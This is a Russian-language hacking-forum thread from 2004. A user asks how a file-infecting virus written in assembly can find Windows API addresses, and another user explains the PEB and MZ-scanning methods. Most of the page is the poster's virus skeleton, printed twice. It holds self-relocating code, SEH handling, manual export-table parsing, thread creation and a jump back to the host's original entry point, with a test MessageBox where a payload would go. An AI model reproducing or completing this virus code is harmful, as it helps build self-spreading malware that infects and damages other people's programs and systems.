если вы видите этот текст, отключите в настройках форума использование JavaScript
Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания .
Новичкам также крайне полезно ознакомиться с данным документом .
SRC ASM CODE 03.07.04 14:22 Число просмотров: 1485
Автор: choor Статус: Elderman Отредактировано 03.07.04 14:26 Количество правок: 2
Вот не большой кусок:include consts.inc
p386
model flat
locals __
.data
virstart:
db 'Choors Test',0
szTitle db "Choor test",0
szMessage db "Get Api Addr",10
virentry:
sub esp, virmemory
pusha
lea ebp, [esp+32]
call __seh_init
mov esp, [esp+8]
jmp __seh_error
__seh_init: push dword ptr fs:[0];
mov fs:[0], esp
call $+5
pop esi
sub esi, $-1-virstart
mov edi, ebp
mov ecx, virsize
rep movsb
lea eax, [ebp + in_new_addr-virstart]
call eax
__seh_error: pop dword ptr fs:[0]
pop eax
popa
db 0E9h
oldentry dd 0
jmp loader
; ---------------------------------------------------------------------------
in_new_addr:
call get_func_names
jc __exit
push eax
push esp
push 0
push ebp
lea eax, [ebp+newthread-virstart]
push eax
push 0
push 0
call x_CreateThread-virstart[ebp]
pop eax
__exit: retn
newthread: pusha
mov ebp, [esp+32+4]
call __seh_init
mov esp, [esp+8]
jmp __seh_error
__seh_init:
mov fs:[0], esp
call testmsgbox
__seh_error: pop dword ptr fs:[0]
pop eax ;
popa
retn
get_func_names:
lea esi, imp_name-virstart[ebp]
lea edi, imp_addr-virstart[ebp]
__cycle: call get_proc_address
jz __error
stosd
__scan0: lodsb
or al, al
jnz __scan0
cmp [esi], al
jne __cycle
__success: clc
retn
__error: stc
retn
get_proc_address:
pusha
sub esp, virmemory
mov ebx,[esp]
and ebx,0FFFF0000h
mov ecx, [ebx].mz_neptr
mov ecx, [ecx].pe_exporttablerva
add ecx, ebx
xor edi, edi
__search_cycle: lea edx, [edi*4]
add edx, [ecx].ex_namepointersrva
mov edx, [edx]
add edx, ebx
pusha
mov edi, edx
__cmp_cycle: cmp byte ptr [edi], 0
je __cmp_done
cmpsb
je __cmp_cycle
__cmp_done: popa
je __name_found
inc edi
cmp edi, [ecx].ex_numofnamepointers
jb __search_cycle
__return_0: xor eax, eax ; return 0
jmp __return
__name_found: mov edx, [ecx].ex_ordinaltablerva
add edx, ebx
movzx edx, word ptr [edx*2]
mov eax, [ecx].ex_addresstablerva
add eax, ebx
mov eax, [eax*4]
add eax, ebx
__return: mov [esp].popa_eax, eax
test eax, eax
popa
retn
testmsgbox:
xor eax,eax
push eax
push offset szTitle
push offset szMessage
push eax
call x_MessageBoxA-virstart[ebp]
imp_name:
db 'MessageBoxA',0
db 'CreateThread',0
db 0
align 4
virsize equ $-virstart
imp_addr:
x_MessageBoxA dd ?
x_CreateThread dd ?
align 4
virmemory equ $-virstart
.code
loader:
call virentry
end loader ---
Я весь код не стал показывать, не имеет смысла...
А это должно работать, проходился дебагером, вообщем вылетает без SEH И всё
<programming >
[asm] вирус, адрес апи 27.06.04 22:34
Автор: choor Статус: Elderman
Есть известный способ нахождения адреса функции, это просто прочитать сам kernel32 загруженный в память. Опять же в программе(которую заражает вирус) есть функция GetProcAddress, и у неё есть есть адрес... Как достать этот адрес, что бы уже через эту функцию узнать остальные которые мне нужны?
[asm] Есть много способов 29.06.04 11:53
Автор: amirul <Serge> Статус: The Elderman
Один из вариантов: идти по памяти с шагом в страницу и искать сигнатуру MZ. Там в таблице импортов можно найти kernel32.dll, а уже в ней найти нужную функцию.
Но лучшим вариантом является использование PEB.
Указатель на PEB из UserMode можно взять по адресу fs:0x30 (для XP, но для 2k скорее всего там же). Ну а дальше вариантов несколько. По смещению 8 в PEB-е лежит ImageBaseAddress и от него можно плясать дальше. А можно и по смещению 0xc взять указатель на PEB_LDR_DATA и разгребать InLoadOrderModuleList
Для 9x сказать ничего не могу - читай питрека
У меня почему-то при чтении кернела загруженного всегда вылетает ошибка программы, почему не могу разобраться 29.06.04 20:43
Автор: choor Статус: Elderman
В смысле "чтении кернела загруженного"? 30.06.04 11:16
Автор: amirul <Serge> Статус: The Elderman
Ты знаешь его адрес в конкретном процессе?
Так зачем морока с поиском адреса. Если базовый адрес один и тот же, то и адрес функции не будет меняться.
Ну а при поиске кернела в памяти ты часто будешь пытаться читать несуществующую память. Тут уж тебе поможет SEH (Structured Exception Handling) - смотри в MSDN на тему __try/__except (именно с двумя подчеркиваниями)
да с SEH я работал, вот токо у меня почему-то не находит... 30.06.04 14:06
Автор: choor Статус: Elderman
да с SEH я работал, вот токо у меня почему-то не находит адрес АПИ
Опять проблемы со стуком в подвале? 30.06.04 14:20
Автор: amirul <Serge> Статус: The Elderman
> да с SEH я работал, вот токо у меня почему-то не находит > адрес АПИ Или давай подробное описание метода поиска (лучше с сырцами) и описание вылета или ищи. :-)
http://www.bugtraq.ru/forum/faq/general/smart-questions.html
SRC ASM CODE 03.07.04 14:22
Автор: choor Статус: Elderman Отредактировано 03.07.04 14:26 Количество правок: 2
Вот не большой кусок:include consts.inc
p386
model flat
locals __
.data
virstart:
db 'Choors Test',0
szTitle db "Choor test",0
szMessage db "Get Api Addr",10
virentry:
sub esp, virmemory
pusha
lea ebp, [esp+32]
call __seh_init
mov esp, [esp+8]
jmp __seh_error
__seh_init: push dword ptr fs:[0];
mov fs:[0], esp
call $+5
pop esi
sub esi, $-1-virstart
mov edi, ebp
mov ecx, virsize
rep movsb
lea eax, [ebp + in_new_addr-virstart]
call eax
__seh_error: pop dword ptr fs:[0]
pop eax
popa
db 0E9h
oldentry dd 0
jmp loader
; ---------------------------------------------------------------------------
in_new_addr:
call get_func_names
jc __exit
push eax
push esp
push 0
push ebp
lea eax, [ebp+newthread-virstart]
push eax
push 0
push 0
call x_CreateThread-virstart[ebp]
pop eax
__exit: retn
newthread: pusha
mov ebp, [esp+32+4]
call __seh_init
mov esp, [esp+8]
jmp __seh_error
__seh_init:
mov fs:[0], esp
call testmsgbox
__seh_error: pop dword ptr fs:[0]
pop eax ;
popa
retn
get_func_names:
lea esi, imp_name-virstart[ebp]
lea edi, imp_addr-virstart[ebp]
__cycle: call get_proc_address
jz __error
stosd
__scan0: lodsb
or al, al
jnz __scan0
cmp [esi], al
jne __cycle
__success: clc
retn
__error: stc
retn
get_proc_address:
pusha
sub esp, virmemory
mov ebx,[esp]
and ebx,0FFFF0000h
mov ecx, [ebx].mz_neptr
mov ecx, [ecx].pe_exporttablerva
add ecx, ebx
xor edi, edi
__search_cycle: lea edx, [edi*4]
add edx, [ecx].ex_namepointersrva
mov edx, [edx]
add edx, ebx
pusha
mov edi, edx
__cmp_cycle: cmp byte ptr [edi], 0
je __cmp_done
cmpsb
je __cmp_cycle
__cmp_done: popa
je __name_found
inc edi
cmp edi, [ecx].ex_numofnamepointers
jb __search_cycle
__return_0: xor eax, eax ; return 0
jmp __return
__name_found: mov edx, [ecx].ex_ordinaltablerva
add edx, ebx
movzx edx, word ptr [edx*2]
mov eax, [ecx].ex_addresstablerva
add eax, ebx
mov eax, [eax*4]
add eax, ebx
__return: mov [esp].popa_eax, eax
test eax, eax
popa
retn
testmsgbox:
xor eax,eax
push eax
push offset szTitle
push offset szMessage
push eax
call x_MessageBoxA-virstart[ebp]
imp_name:
db 'MessageBoxA',0
db 'CreateThread',0
db 0
align 4
virsize equ $-virstart
imp_addr:
x_MessageBoxA dd ?
x_CreateThread dd ?
align 4
virmemory equ $-virstart
.code
loader:
call virentry
end loader ---
Я весь код не стал показывать, не имеет смысла...
А это должно работать, проходился дебагером, вообщем вылетает без SEH И всё
Неужели нет решения? 05.07.04 14:05
Автор: choor Статус: Elderman